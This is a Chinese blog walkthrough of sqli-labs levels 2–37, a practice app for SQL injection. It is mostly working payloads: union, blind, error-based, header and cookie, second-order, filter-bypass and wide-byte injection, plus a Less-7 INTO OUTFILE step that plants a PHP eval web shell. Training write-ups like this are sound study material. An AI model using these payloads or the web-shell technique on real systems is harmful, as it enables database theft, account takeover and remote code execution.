一、Introduction
第2~4题和Less-1的差不多其实,到了第五题,第六题开始盲注有点难了,学了一波mysql的操作还是有些收获
二、Hack
Less-2
传入一个单引号试探注入点,发现报错
1 | ..... syntax to use near '' LIMIT 0,1' at line 1 |
推测和Less-1唯一的区别在于没有单引号,只是用数字进行查询,例如
1 | SELECT * FROM users WHERE id=$id LIMIT 0,1 |
所以payload和Less-1差别只在于一个单引号
1 | -1 union select 1,2,3 %23 |
Less-3
题目名字叫,Single quotes with twist string (基于错误的GET单引号变形字符型注入)
测试 ?id=1’ 得到
1 | ...... syntax to use near ''1'') LIMIT 0,1' at line 1 |
猜测语句
1 | SELECT * FROM users WHERE id=('$id') LIMIT 0,1 |
所以通过前面加 -1’) 闭合前面 尾部加%23 (#的url编码)中间就可以为所欲为了
1 | SELECT * FROM users WHERE id=(' -1'){{为所欲为}}#23 ') LIMIT 0,1 |
所以payload
1 | -1')union select 1,2,3 %23 |
Less-4
尝试’并未发现报错,尝试”发现报错
1 | syntax to use near '"1"") LIMIT 0,1' at line 1 |
猜测语句
1 | SELECT * FROM users WHERE id=("$id") LIMIT 0,1 |
所以payload和3差不多只是单引号变双引号
1 | -1")union select 1,2,3 %23 |
Less-5 在导航页里显示的是要使用双查询
发现正常或者注入成功是这样的
而一旦出错会报错
显然是布尔注入而且猜测语句
1 | SELECT * FROM users WHERE id='$id' LIMIT 0,1 |
当然就可以很多操作了,通过substr()、ascii()爆破也能得到一切
打个比方
1 | 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 |
也可以直接拿这个盲注脚本爆破,参数自己改就行了
https://github.com/Kit4y/Sql-Injection/blob/master/Src/Script/Bool-injection.py
Less-6
Less-6和Less-5的关系就和1♂2,3♂4的关系一样 把’改成”在脚本上修改就很行了
文件操作
第七题提示Dump into outfile,即使用文件导出,然后第九第十题通过基于时间盲注的脚本也拿到了数据库所有数据,慢慢锻炼自己写py的能力吧。
Less-7
本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入,其实难点在于 猜测SQL语句和寻找网站的绝对路径,太菜了的我连自己本地都打了很久orz,不过也学到这个骚操作
首先通过测试猜源码
1 | id')) LIMIT 0,1" |
1 | ?id=1')) or 1=1--+ |
没有报错
然后可以利用文件导入导出,我一开始试了很久没写进去,找到了大师傅的博客
https://blog.csdn.net/HHTNAN/article/details/78520511,了解到MYSQL数据导出与导入,secure_file_priv参数需要设置
在mysql文件下的my.ini文件的[mysqld]
写入
1 | secure_file_priv='' |
至于为什么,请参考大师傅的博客
然后就很顺利
1 | ?id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\mima.php"--+ |
然后就可以写入一句话木马
1 | ?id=1')) union select 1,2,'<?php @eval($_post["mima"])?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\mima.php"--+ |
Less-8
和Less-5居然一样的?盲注脚本都一样,可以参考第五题
https://kit4y.github.io/2019/04/27/Sqli-Labs-Less-2-6/#more
Less-9
题目叫做GET-Bind-Time based XXX时间盲注,所以专门查看了一下时间盲注和布尔注入的一些基础知识
时间盲注:
时间盲注利用前提条件:
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
时间盲注常用函数:
IF(判断语句,A,B)
如果判断语句为真,则返回A
为假则返回B
一般和布尔盲注语句配合使用:
1 | if(ascii(substr(“payload”, 1, 1))=104, sleep(5), 1) |
如果第一个,号前的语句成立,则页面返回速度慢5秒
不成立,页面立即返回
时间盲注过程:
1 | if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数 |
所以本题先疯狂试探,发现不管咋样都是返回一样的,和铁疙瘩一样,所以就能通过时间盲注
1 | ?id=1' and sleep(3)%23 |
发现等了3秒钟才响应了
然后和盲注一样玩
1 | 1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+ |
然后通过这个脚本拿到当前数据库的名字
1 | # -*- coding: utf-8 -*- |
然后通过这个脚本得到第一个security数据表
1 | # -*- coding: utf-8 -*- |
Less-10
和第九题一样 , 将单引号换成双引号就好了
1 | ?id=1" and sleep(1)%23 |
脚本和图九差不多只要修改一下闭合的单引号换成双引号
Less-11
先试试万能密码//一下的payload都是对于username的输入,密码框暂时可以随意输入2
1 | admin ' or 1=1# |
发现登录成功了
然后查看字段数目和显示位
1 | 1' order by 3 # //登录后报错 |
然后可以使用任意一个登录位来爆数据库
1 | 1' union select 1,group_concat(schema_name) from information_schema.schemata# |
然后爆数据表名,字段名,和第一题差不多了
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
Less-12
通过尝试和报错信息发现输入1”) or 1 #后可以用万能密码登录,接下来同上
1 | 1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
Less-13
万能密码测试发现
1 | 1') or 1# |
能登录成功,但是不回显,所以可以布尔注入或者时间盲注 ,我们发现登录成功出现的照片名字叫flag.jpg,而登录失败叫slap.jpg,所以可以通过这个线索来爆破
1 | #!/usr/bin/env python |
Less-14
与13题差不多 把')
改为 "
即可
1 | 1" or 1=1# |
登录成功不回显,魔改上面脚本即可
Less-15
与13题差不多 把')
改为'
即可
1 | 1' or 1=1# |
登录成功不回显,魔改上面脚本即可
Less-16
与13题差不多 把')
改为")
即可
1 | 1") or 1=1# |
登录成功不回显,魔改上面脚本即可
新知识点:报错注入
基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名,这已经成为一套已经成型的公式,然后用普通注入的方法进行注入就好了,所以总结一下这么几个公式
1.直接使用报错:
1 | mysql> select 1,2 from user where id ="1" union select count(*),concat('/',(select database()),'/',floor(rand(0)*2))a from information_schema.columns group by a; |
2、利用xpath函数—extractvalue报错
1 | mysql> select 1,2 from user where id ="1" and extractvalue(1,concat(0x7e,(select database()),0x73)); |
concat里面甚至可以再放函数,如图用了group_concat,将用户名密码全部获得(但是好像输出长度有限定,只能输出一定长度结果)
1 | mysql> select 1,2 from user where id ="1" and extractvalue(1,concat(0x7e,(select database()),'/',(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x73)); |
3、利用xpath函数—updatexml报错:
1 | mysql> select 1,2 from user where id ="1" and updatexml(1,concat(0x7e,(select database()),0x7e),1); |
Less-17
题目咋一看是一个重置密码的功能,其实可以通过延时注入来跑,这里用新学的知识点,任意选择上面的一种即可
1 | passwd: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# |
Less-18
题目名字叫POST-Header Injection-Uagent field-Error based;
登录成功会出现user agent
可以使用postman 修改User-Agent,注意首先要登录成功
1 | User-Agent : 1'or updatexml(1,concat('#',(database())),0),'','')# |
爆表
1 | User-Agent : 1' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')# |
爆字段
1 | User-Agent : 1' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')# |
Less-19
和18一样,只是把User-Agent改成Referer
Less-20
Cookie 注入 , 修改自身cookie , 后台获取到这个cookie后 , 会直接拿去数据库里面进行比较 , 比较的时候就有可能注入,登录成功后修改 cookie 即可
首先登录,然后修改cookie,可以通过谷歌Applocation直接修改为
1 | 'union select 1,group_concat(schema_name),3 from information_schema.schemata# |
也可以通过脚本
1 | import requests |
Less-21
和上面差不多,但是这里的cookie用过了base64加密而且加上了括号
原始payload为
1 | ') union select 1,group_concat(schema_name),3 from information_schema.schemata# |
base64
1 | JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIw== |
同样的方式修改即可
Less-22
上同,改为双引号,转码前
1 | " union select 1,group_concat(schema_name),3 from information_schema.schemata# |
转码后
1 | IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEj |
Less-23
过滤了#
和--+
等闭合的符号,所以通过 or '1'='1
来闭合后面的引号,任然使用之前的报错原理
1 | -1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1 |
获取security数据库的所有表单
1 | -1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1 |
获取user表所有字段
1 | -1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or '1'='1 |
获取username/password
1 | -1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '1'='1 |
如果长度不够,可以通过limit 0,1这样的手法拿到所有数据
Less-24
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
本地登录的地方我们发现万能密码失败,于是查看源码
1 | $username = mysql_real_escape_string($_POST["login_user"]); |
由于对于我们的账号密码使用mysql_real_escape_string
转义过。
本题可以采用二次注入
- 首先创建一个user叫做
admin'#
,密码随意,我们可以看到,数据库中真的就出现了这么一条数据 - 然后使用
admin'#
加上自己的密码登录 - 然后修改密码为123456,最后效果居然是将admin用户改为123456的密码,自己新建的账号密码还是自己设定的
why?
首先我们看更新密码的查询语句为
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; |
这是因为上面的数据库更新语句,在用户名为 “admin’#” 时执行的实际是:
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' "; |
等同于
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'; |
Less-25
把 or、and过滤了,其实好像也没怎么用上,而且发现只是一次过滤,通过双写绕过,那么和第一题就差不多了
比如order中有or所以可以写成oorrder,将其中的一个or过滤后剩下为order
1 | -1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata%23 |
Less-25a
先寻找注入点
1 | 1" oorr 1 %23 |
只有第三种没啥问题,所以本题就是不需要加引号直接注入
1 | -1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata%23 |
Less-26
空格与注释被过滤了,最后的注释可以使用or '1'='1
来闭合,
然后空格可以用这些代替
1 | %09 = TAB键(水平) |
使用报错注入
1 | 0'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1 |
这样是没问题的,然后爆库
1 | 0%27||updatexml(1,concat(0x7e,(select%0Agroup_concat(schema_name)%0Afrom%0Ainfoorrmation_schema.schemata),0x7e),1)||%271%27=%271 |
然后不行了,黑人问号?
试试直接拿数据
1 | 0%27||updatexml(1,concat(0x7e,(select%0agroup_concat(username)%0afrom%0ausers),0x7e),1)||%271%27=%271 |
最后网上有师傅回答是windows系统的缘故?然后发现可以用括号过滤乖乖
1 | 0'||extractvalue(1, concat(0x5c,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1 |
表名
1 | 0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1 |
字段名
1 | 0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1 |
数据
1 | 0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1 |
Less-26-a
题目提示空格与注释被过滤了而且加了括号,所以还是盲注解决吧(其实还是windows环境的锅导致%0a等不能实现,正经的服务器应该不会是windows的吧)
所以这样是可以de
1 | 100')union%a0select%a01,user(),('3 |
Less-27
题目提示union与select被过滤了,可直接报错使用,当然也可以大小写来绕过还是上面的问题,因为windows的服务器,%0a不用,所以还是使用报错来写
1 | 0'||(updatexml(1,concat(0x5e5e,database()),1))||'1'=' |
然后想拿数据
1 | 0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',password))from(users)where(username)='admin')),0)||'1'=' |
很好就报错了
然后发现有师傅提供了一种非常骚的做法,用/*%0a*/
强行制造空格。awsl
1 | 0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,database(),4/*%0a*/||/**/'1'='1 |
表名
1 | 0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,(SeLeCt/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema='security'),4/*%0a*/||/*%0a*/'1'='1 |
字段名
1 | 0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,(SeLeCt/*%0a*/group_concat(column_name)/*%0a*/from/*%0a*/information_schema.columns/*%0a*/where/*%0a*/table_schema='security'/*%0a*/%26%26/*%0a*/table_name='users'),4/*%0a*/||/*%0a*/'1'='1 |
数据
1 | 0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),4/*%0a*/||/*%0a*/'1'='1 |
Less-27-a
把单引号改成双引号即可
1 | 0"/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,database(),4/*%0a*/||/**/"1"="1 |
Less-28
1和1”正常回显,1’报错,单引号字符型。
2’&&’1’=’1回显为id=1,有小括号。因为当你有小括号的时候$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
变成$sql="SELECT * FROM users WHERE id=('2'&&'1'='1') LIMIT 0,1";
所以会变成id=1
看了下代码
1 | $id = blacklist($id); |
过滤了相连的union和select,这个可以复写绕过,或者使用其他代替空格,如下都可能可以代替空格
1 | %0a |
这题可以用%0a,使用%00截断
可以盲注
1 | 0')||left(database(),1)>'s';%00 |
也可以绕过union select直接注入
1 | 333')union%a0select(1),(database()),(3)||('1 |
解释:
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
前面的333可以尽量大一些,不能用-1。
Less-28-a
感觉就像看错了题?28-a居然是在 Less 28 的基础上还注释掉了很多过滤。这样28的payload肯定可以直接打
给出一个强一点的过滤
1 | $id = blacklist($id); |
末尾\i就会导致不区分大小写,统统过滤
Less-29
比较智障了吧,好像过滤什么,直接注入
1 | 0%27union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata%23 |
Less-30
同上,只是单引号变双引号
1 | 0"union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata%23 |
Less-31
同上,只是双引号加了括号
1 | 0")union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata%23 |
宽字节注入
国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c就是一个汉字。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27,%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。
先了解addslashes() 函数,就是转义函数
1 |
|
输出
1 | Shanghai is the \"biggest\" city in China. |
内部实现就是
1 | $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash |
所以我们输入
1 | http://127.0.0.1/Less-32/?id=1%df' |
根据以上分析,发生如下转换:(%5c是\
的十六进制)
1 | %df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運' |
1 | $sql="SELECT * FROM users WHERE id='1運'' LIMIT 0,1"; #成功将单引号闭合,可以进行SQL注入。 |
参考1:https://www.cnblogs.com/fengshui/p/9266830.html
参考2:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
无法添加单引号或者双引号,可以用16进制绕过-很骚的操作
Less-32
输入?id=1%df%27
页面会报错说明单引符号起作用了。c?id=-1%df%27%20union%20select%201,2,3%20%23
,有回显所以可以宽字节注入
1 | ?id=0%df%27 union select 1,group_concat(schema_name),2 from information_schema.schemata;%23 |
Less-33
和上同,只是把自定义的转义函数改成内置的转义函数
1 | ?id=0%df%27 union select 1,group_concat(schema_name),2 from information_schema.schemata;%23 |
Less-34
把get改成post了,注意不能直接在界面上输入,因为%什么的都会会浏览器转义,所以burp直接修改
1 | admin%df'or 0 union select 1,group_concat(schema_name) from information_schema.schemata%23&passwd=&submit=Submit |
Less-35
直接注入?回到第一关了233
1 | 0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23 |
Less-36
使用了mysql_real_escape_string函数过滤
查看文档,下列字符受影响:
1 | \x00 |
还是宽字节注入
1 | 0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23 |
Less-37
改成post
1 | uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit |